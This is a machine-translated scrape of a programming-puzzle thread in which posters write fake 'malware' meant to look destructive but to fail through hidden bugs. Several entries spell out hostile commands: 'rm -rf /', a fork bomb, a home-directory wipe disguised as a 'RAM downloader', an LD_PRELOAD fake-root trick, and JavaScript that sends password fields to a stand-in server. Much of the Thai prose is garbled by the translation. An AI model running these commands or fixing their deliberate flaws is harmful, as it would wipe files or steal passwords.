ที่ซ่อนอยู่ในความคิดเห็นบล็อกนั้นเป็นพิเศษ} {นอกความคิดเห็น ที่ทำให้การลบไฟล์ในบล็อกเริ่มต้นอินสแตนซ์ที่แยกต่างหากซึ่งจะดำเนินการก่อนที่จะสร้าง ในเวลานั้นสำคัญไฟล์ยังคงเป็นโมฆะ


16
ฉันจัดการเพื่อจุดนี้ :)
Erel ซีกัล-Halevi

17
นี่จะชัดเจนมากหากโทรลล์ไม่ได้อ่านความคิดเห็น
ApproachDarknessFish

6
ฉันเลือกที่จะตีความว่า "โทรลล์ไม่ได้อ่านความคิดเห็น" เป็น "โทรลล์ข้ามความคิดเห็นในลักษณะเดียวกันกับที่มนุษย์ต้องการหากข้ามความคิดเห็น" ในกรณีนี้อาจเป็นเรื่องง่ายที่จะพลาดโดยไม่ตั้งใจว่าตัวละครทั้งสองนั้นอยู่นอกความคิดเห็น
Joe K

1
นี่เป็นสิ่งเดียวที่ฉันแก้ไขก่อนที่จะอ่านคำอธิบาย แต่ทำได้ดีมาก!
nrubin29

15

Bash, C, Linux

อาจไม่ใช่มัลแวร์ แต่สามารถเป็นส่วนหนึ่งของ :)

มันเป็นการใช้ประโยชน์ที่น่าทึ่งที่สามารถให้คุณรูทบนเครื่อง linux ใด ๆ ! Shhh อย่าบอกใครเลยว่าเรามีมัน!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

ตอนนี้รันสคริปต์และคุณจะรูท! คุณสามารถใช้whoami!

ในความเป็นจริงมันจะมีเล่ห์เหลี่ยมเฉพาะแอปพลิเคชันทั้งหมดที่คุณมี UID = 0 (นี่คือรหัสผู้ใช้รูท)

รหัสถูกเขียนโดย Lcamtuf, แหล่งที่มา: http://lcamtuf.coredump.cx/soft/ld-expl


+1 เคล็ดลับที่ดีจริงๆ ฉันยังไม่เข้าใจวิธีการทำงาน
Erel Segal-Halevi

@ErelSegalHalevi: ดูstackoverflow.com/questions/426230/what-is-the-the-ld-preload-trickสำหรับรายละเอียดเพิ่มเติมเกี่ยวกับ LD_PRELOAD
mik01aj

2
Read up on fakeroot(1)ซึ่งเป็นห้องสมุดที่ขัดขวางการโทรไปยังฟังก์ชั่น POSIX ของระบบต่าง ๆ หลอกให้ผู้โทรเชื่อว่ามันมี (fake) read และ (fake) access access ทั้งระบบ ที่จริงแล้วมันจะไม่ (ไม่สามารถ) ให้สิทธิ์เหล่านี้ได้จริง แต่เมื่อโปรแกรมเช่นเรียกใช้chmodฟังก์ชัน"ปลอม" ในไฟล์และเปลี่ยนแปลงการอนุญาต fakeroot จะจดจำสิทธิ์เหล่านี้เพื่อที่การstatโทรจะส่งกลับสิทธิ์ที่อัปเดต distros บางตัวใช้สิ่งนี้เพื่ออนุญาตให้ระบบสร้างแพ็คเกจสร้างไฟล์ด้วยroot:rootความเป็นเจ้าของ
sleblanc

1
ฉันเชื่อว่าเป็นlcamtuf : lcamtuf.coredump.cx/soft/ld-expl - อย่างน้อยฉันก็จำได้ว่ามันอยู่ที่นั่นมาตั้งแต่ 90s
viraptor

13

ทุบตี

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

มีข้อผิดพลาดทางไวยากรณ์ของบรรทัด "fork-bomb" หลังจาก{ควรมีที่ว่าง หากไม่มีสคริปต์ก็จะล้มเหลวเนื่องจากคำจำกัดความของฟังก์ชั่นนั้นไม่ได้ตามมาด้วย{โทเค็นด้วยตัวเอง


2
คุณต้องเพิ่มข้อควรระวัง (ในสปอยเลอร์บางที) ว่าสิ่งนี้จะไม่ถูกดำเนินการโดยใช้kshเนื่องจาก fork bomb ไม่ใช่ข้อผิดพลาดทางไวยากรณ์ที่นั่น!
devnull


@Dennis: ไม่เกี่ยวข้องฉันไม่เห็นเลย แต่ด้ายที่น่าสนใจที่จะซื่อสัตย์ ฉันรู้ว่าการวิเคราะห์คำในการทุบตีทำงานอย่างไรและนั่นเป็นสาเหตุที่ฉันไม่ใช้ :-)
Konrad Borowski

11

Emacs Lisp

ครั้งแรกที่เรียบง่าย อันนี้ไม่ทำอะไรเลย มันเป็นจริงพยายามที่จะลบองค์ประกอบเท่ากับ: directory-filesเวียนเกิดจากรายชื่อที่ส่งกลับโดย มันจะไม่ลบไฟล์ใด ๆ

(delete :recursive
    (directory-files "/"))

นี่คือสิ่งหนึ่งที่อาจทำให้ตอแม้กระทั่งสัตว์แพทย์เอลฟ์

(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

นี่เป็นเพียง 1 ตัวอักษรออกไปจากการลบรากของคุณ

emacs lisp จะอนุญาตให้ jsut เกี่ยวกับทุกสิ่งเป็นชื่อของสัญลักษณ์ (ตัวแปร, ฟังก์ชั่น, มาโคร ฯลฯ ) มันก็โอเคที่จะใช้ unicode ในชื่อของสัญลักษณ์ของคุณและนั่นคือสิ่งที่เกิดขึ้นที่นี่

setqสามารถรับ args จำนวนเท่าใดก็ได้(setq a 3 b 4)เช่นการทำ a = 3; b = 4; แต่(setq a 3 b)ก็ใช้ได้และกำลังทำ = 3; b = ไม่มี;

ค่าตอบแทนของ `setq 'เป็นค่าที่กำหนดให้กับตัวแปรสุดท้าย 4 และไม่มีตามลำดับในตัวอย่าง

(setq a 3 b)เป็นสิ่งที่เกิดขึ้นในรหัส แต่แทนที่จะขฉันใช้อักขระช่องว่าง unicode ฉันกำลังกำหนดค่า nil ให้กับตัวแปรที่ชื่อซึ่งมีชื่อเป็นอักขระ Unicode 0x2001 เนื่องจาก nil นี้ถูกส่งคืนโดย setq และเงื่อนไขสำหรับ while loop ไม่เคยเป็นจริง นำตัวละครช่องว่างนั้นออกมาและมันจะทำงานได้ดี


10

แฮกเกอร์ perl อีกคน

ฉันเขียนสิ่งนี้ในปี 2002ในขณะที่อยู่ที่Perlmonksและโดยทั่วไปก็แค่พยายามผลักดันความรู้เกี่ยวกับ Perl ให้มากที่สุด ไม่ได้แก้ไขเลย แต่ยังคงทำงานอยู่

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

ถ้าฉันจำได้อย่างถูกต้องBEGINบล็อกจะรันก่อนอื่นไม่ว่าจะอยู่ในรหัสใด มันจะแทนที่@INCซึ่งกำหนดว่า Perl โหลดไลบรารีจากที่ใดด้วยรูทีนย่อย (โดยปกติจะเป็นชุดของพา ธ แต่ได้รับอนุญาต) รูทีนย่อยเป็นบล็อคข้อมูลที่ทำให้งงซึ่งกำลังทำเวทมนตร์ regexp + eval จากนั้นเมื่อโค้ดฮิตrequire File::Path;(มันจะไม่ทำงานuse) ย่อยนี้จะถูกประมวลผลและเพียงพิมพ์ "Just แฮกเกอร์ perl อื่น" ตามประเพณีและออกจาก ส่วนที่เหลือของรหัสจะไม่ถึง


1
ว้าวฉันใช้เวลาพอสมควรที่จะเข้าใจว่ารหัสนี้ทำอะไร (แต่ฉันไม่ได้อ่านสปอยเลอร์) ฉันถอดรหัสการโทรของบล็อก regex นี้ (เป็นวิธีเดียวกับที่ฉันใช้ในcodegolf.stackexchange.com/a/23871/3103 ) และฉันชอบวิธีที่มีexitคำสั่ง (โดยมีเครื่องหมายอัฒภาคไม่มีจุดหลังจากนั้น แต่ไม่ใช่ว่ามันสำคัญ )
Konrad Borowski

Hehe ต้องคิดออกเองอายุ 11-12 ปี อัฒภาคอาจเป็นเพียงการทำให้ทุกอย่างเข้าแถวอย่างเรียบร้อย
Stoffe

9

PHP:

$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

ได้อย่างรวดเร็วก่อน$conditionเป็นเท็จ แต่=ผู้ประกอบการมีความสำคัญเหนือกว่าandดังนั้นเงื่อนไขเป็นจริง ดังนั้นความชั่วร้ายจึงไม่เคยเกิดขึ้น


8

C ++ พร้อม Boost

การดำเนินการนี้จะลบไฟล์ทั้งหมดในระบบไฟล์

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

จริงๆแล้วมันจะไม่ deleteใน C ++ ใช้เพื่อเพิ่มหน่วยความจำที่จัดสรรโดยnewและไม่ลบไฟล์และไดเรกทอรี โปรแกรมส่วนใหญ่จะมีปัญหากับการแบ่งเซ็กเมนต์ในขณะที่พยายามจัดสรรคืนหน่วยความจำที่จัดสรรโดย Boost แต่เมื่อถึงเวลานั้นฉันจะหลบหนีการถูกจองจำของโทรลล์


+1 นี่ไม่ใช่เรื่องง่ายที่จะสังเกตเห็นเพราะมันรวบรวมได้โดยไม่มีข้อผิดพลาด
Erel Segal-Halevi

2
ไม่ใช่ปัญหาบรรทัดแรกที่ไม่ได้กำหนดพฤติกรรมหรือไม่ ซึ่งในกรณีนี้อาจลบไฟล์ทั้งหมดของเขา
aschepler

1
@aschepler: "UB สามารถลบไฟล์ทั้งหมดของคุณได้" ทำให้มีคำอธิบายที่สนุกที่คุณไม่สามารถคาดเดาได้ว่าจะเกิดอะไรขึ้นเมื่อเรียกใช้ UB แต่โดยทั่วไปมักจะไม่เป็นไปได้ หากโทรลล์มีคอมไพเลอร์ที่ลบฮาร์ดไดรฟ์ใน UB เขาจะไม่ทำให้เราเขียนเขาว่าเป็นมัลแวร์
3Doubloons

2
การเน้นไวยากรณ์จะให้คำแนะนำเกี่ยวกับการหมุนรอบที่นี่ ...
mik01aj

8

ชวา

การทำเช่นนี้จะแกล้งดาวน์โหลด RAM แต่จะลบไดเรกทอรีบ้านของผู้ใช้

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

Timerใช้เธรดพื้นหลังเพื่อโทรหาคุณTimerTaskที่คุณส่งไป new Timer(true)สร้างTimerชุดเธรดพื้นหลังเป็นเธรด daemon ดังนั้นโปรแกรมจะออกทันทีก่อนที่งานจะสามารถรันได้ รหัสที่ยาวเกินไปจะรบกวนการหมุนรอบไม่ให้มองเห็นtrueพารามิเตอร์


7
rm -rf ⁄

อักขระไม่ใช่อักขระสแลชปกติ (/ คือ SOLIDUS เป็นยูนิโค้ด) แต่เป็น FRACTION SLASH แทน จะพิมพ์ข้อความเช่น "rm: ⁄: ไม่มีไฟล์หรือไดเรกทอรีดังกล่าว"


10
โอ้ให้ฉันลอง ....
Michael J. Calkins

1
@MichaelCalkins: คุณสามารถลองเป็นผู้ใช้ที่ไม่มีสิทธิ์พิเศษและดูข้อความ "ไม่พบ" ... หวังว่า
Olivier Dulac

7

ทุบตี

# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

มันอาจจะชั่วร้ายอย่างที่มันเป็น มันกำหนดฟังก์ชั่นที่ต้องการrm -rf /และเรียกใช้มัน ไม่เพียง แต่มันจะใช้ประโยชน์จากความชั่วร้ายevalมากกว่าหนึ่งครั้ง

มันจะทำความเสียหายมากมายแน่นอน!

ในกรณีที่คุณสงสัยสิ่งแรกจะevalยกเลิกการทำงานโดย: unset -f cleanup ตัวที่สองevalกำหนดเป็น: cleanup() { echo Troll detected; } ดังนั้นเมื่อรันโค้ดคุณจะเห็น Troll detected


9
ดี! แต่ฉันจะบอกว่าบรรทัด "base64" ซึ่งเห็นได้ชัดว่าไม่มีประโยชน์สำหรับการลบจริงทำให้ชัดเจนน้อยเกินไป
Erel Segal-Halevi

1
อาจจะดีกว่าถ้าคุณถูกชักนำให้เชื่อว่าสิ่งevalนั้นทำชั่วมากกว่าโค้ดที่ชัดเจน รหัสปัจจุบันทำให้ฉันถาม: ทำไมต้องซ่อนรหัส 'ความชั่วร้าย' หากสิ่งที่ชัดเจนกำลังลบทุกอย่าง
Tim S.

2
ฉันไม่คิดว่าอันนี้ตรงตามข้อกำหนดเนื่องจากอาจเป็นอันตรายมาก: หากbase64(ไม่ใช่คำสั่งมาตรฐาน) ไม่มีอยู่ในระบบที่รันอยู่ evals จะไม่ทำอะไรเลยและการrm -rf /ทำงาน! สิ่งนี้อาจเกิดขึ้นได้หากbase64มีอยู่ แต่ล้มเหลวด้วยเหตุผลบางอย่าง (เช่นulimit)
..

1
@R .: นอกจากนี้rm -rf /จะไม่ทำงานในส่วนrmของการใช้งาน นี่คือคุณลักษณะด้านความปลอดภัย - rmคุณไม่สามารถลบไดเรกทอรีรากในการใช้งานมากที่สุดของ
Konrad Borowski

1
เท่าที่ฉันทราบมันทำงานได้ในเวอร์ชัน busybox :-)
..

6

ทุบตี

แน่นอนว่าเราต้องใช้สิทธิ์ root สำหรับเครื่องดังนั้นเราจึงใช้เก่าดี "ฉันมีราก?" - ตรวจสอบ aka CH (eck) ราก - แต่ดีกว่าที่ทำเช่นนี้ในไดเรกทอรีที่จะไม่มีการเตือนภัยหลายยก / tmp จะสมบูรณ์แบบเพราะทุกคนสามารถเขียนไฟล์ได้

หลังจากนี้เราก็แค่ลบเสียงหัวเราะฮาร์ดไดรฟ์ทั้งหมด

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"

10
ในฐานะที่เป็นคนเยอรมันฉันพูดได้ว่า: อย่าทำเสียงหัวเราะชั่วร้ายในฐานะคนเยอรมัน ...
ฟิลิปเปอร์แซนเดอ

werถ้าไม่ใช่คนเยอรมันสามารถทำ ZE เสียงหัวเราะ eefil ขวาเซน?
Alexander Kosubek

5
ฉันต้องยอมรับว่าใช้เวลาอ่านโค้ดหลายครั้งแล้วอ่านความคิดเห็นของคุณอีกครั้งเพื่อหาสาเหตุที่ใครบางคนอาจคิดว่านี่เป็นอันตราย ฉันไม่คิดว่ามันจะใช้งานได้ถ้าคุณไม่ได้พยายามเกลี้ยกล่อมใครบางคนในความคิดเห็นของคุณว่า chroot ทำสิ่งอื่นนอกเหนือจากที่ทำและคำถามจะบอกว่าโทรลล์ไม่ได้อ่านความคิดเห็น ...
Chris

1
อนึ่งchrootไม่ใช่ "ตรวจสอบราก" มันเป็น "เปลี่ยนรูท" - มันเปลี่ยนความคิดของผู้ใช้ในสิ่งที่/เป็น สิ่งที่น่าสนใจคือโทรลล์ไม่สามารถทำสิ่งใดเพื่อผู้ใช้ที่เป็นรูทและไม่ใช่รูต ผู้ใช้รูทจะได้รับรูทใหม่ (และไม่มีคำสั่ง / bin / bash เนื่องจากไม่มีอยู่ในรูทที่สร้างขึ้นใหม่ของ / tmp / chroot_dir) และผู้ใช้ที่ไม่ใช่รูทล้มเหลวในการ chroot
mah

นี่เป็นเหมือนเงื่อนงำนี้ - ฉันรู้ว่ามันไม่ใช่ "เปลี่ยนรูท" แต่ผู้จับกุมของฉัน (คำที่ถูกต้อง?) ไม่รู้ - ดังนั้นเขาจึงล้มเหลวอย่างรุนแรง
german_guy

6

iPhone - Flappy Bird Clone

ในขณะที่ผู้ใช้กำลังเล่นโคลน iPhone Flappy Bird ไฟล์ทั้งหมดในไดเรกทอรีเอกสารจะถูกลบ

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

แต่ละแอปใน iOS นั้นถูก Sandboxed ดังนั้นในขณะที่สิ่งนี้จะลบทุกอย่างในไดเรกทอรีเอกสารมันเป็นเพียงไดเรกทอรีเอกสารสำหรับแอพนี้โดยเฉพาะ เห็นได้ชัดว่าโทรลล์ไม่ทราบเรื่องนี้เนื่องจากเขาถูกน้ำท่วมด้วยโปรแกรมมากมายสำหรับแพลตฟอร์มอื่น ๆ และทันทีที่เขารู้ตัวว่าเขาสามารถใช้ Flappy Bird clone ได้เขาอาจจะตื่นเต้นมากที่เขาไม่ต้องกังวลกับรหัสที่เหลือในขณะที่เขาหมกมุ่นอยู่กับความฝันที่จะทำเงิน 50,000 เหรียญต่อวันโดยไม่ต้องโฆษณา ทำงานใด ๆ


5

ไป:

package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

อันนี้ค่อนข้างยุ่งยาก ใน Go โปรแกรมทั้งหมดออกเมื่อโปรแกรมหลักออกจาก Goroutine วิธีที่ดีในการแก้ไขปัญหานี้คือ Waitgroup มีสองปัญหาใหญ่กับ "แก้ไข" ของฉัน:

  1. Waitgroup จะไม่เพิ่มไปจนกว่า Goroutine เริ่มต้นซึ่งหมายความว่า Goroutine หลักจะตีWaitก่อนที่จะลบ Goroutine Addฮิต เนื่องจากตัวนับจะเป็น 0 จึงไม่ต้องรอและดังนั้นจึงไม่ได้ปิดกั้นและจบลงด้วยการออกดังนั้นจึงเป็นการยกเลิกโปรแกรม
  2. แม้ว่าอย่างใดอย่างหนึ่งอย่างน่าอัศจรรย์การเพิ่ม goroutine ของ deleteAll ก็เสร็จสิ้นก่อน มันมีสำเนาของ Waitgroup ไม่ใช่ตัวชี้ไป มันจะไม่ถูกเพิ่มในกลุ่ม Waitgroup เดียวกันดังนั้น Goroutine หลักจะไม่เห็นมัน

fmt.Scanln () เพื่อคาดหวังอินพุตเป็นเพียงเพื่อให้แน่ใจว่า Goroutine หลักจะออกก่อนที่จะมีอะไรเกิดขึ้น Println มีแนวโน้มที่จะทำให้มันเป็นบล็อก IO และสลับไปใช้งาน Goroutine หลัก (เช่นออก) และ Scanln จะทำเช่นนั้น ในความเป็นจริงไม่จำเป็นสำหรับ Go รุ่นใด ๆ

ในดินแดนทฤษฎีซุปเปอร์นี้อาจจะทำงานและลบสิ่งที่มีความหมายตามที่หน่วยความจำแบบไปไม่มีการรับประกัน "ที่เกิดขึ้นมาก่อน" ความสัมพันธ์เกี่ยวกับการสิ้นสุดของmainและการดำเนินการของRemoveAllแต่มันจะไม่ได้อยู่ในใด ๆ ที่ทันสมัยไปรันไทม์ / เรียบเรียงเป็นหลักฐาน โดยมือใหม่ทั้งหมดที่ทำผิดพลาดจากการไม่ทำข้อมูลให้ตรงกันในฟังก์ชั่นหลักของพวกเขา


4

จาวาสคริ

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1

มันจะไม่ทำงานคุณไม่สามารถสร้างการปิดทั้งหมดที่เรียกว่ามันโดยไม่ยอมแพ้ด้วย parens

2

หากโทรลล์สามารถแก้ไขได้แสดงว่ามีข้อผิดพลาดที่สวยงามในการแก้ไขข้อบกพร่อง ... ;-)


1
ภาษาอะไร? และอาจจะบอกใบ้ให้พิมพ์ผิดไปอีกเล็กน้อย
masterX244

@ masterX244 คือ Javascript ฉันจะแก้ไขมัน คำใบ้ Typo: ReferenceError
Juan Garcia

3
พิมพ์ผิดนั้นบ่อยครั้งที่มันควรจะแก้ไขอัตโนมัติโดยบรรณาธิการ ...
mik01aj

ใช่ฉันพิมพ์ผิดมาก โดยเฉพาะอย่างยิ่งถ้าความยาวของคำค่อนข้างยาว: P
Mohammed Joraid

1
@ m01 +1 ฉันคิดว่ามันควรจะเป็นคำที่สงวนไว้ซึ่งทำให้เกิดข้อผิดพลาดหรือเวลารวบรวม!
Juan Garcia
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.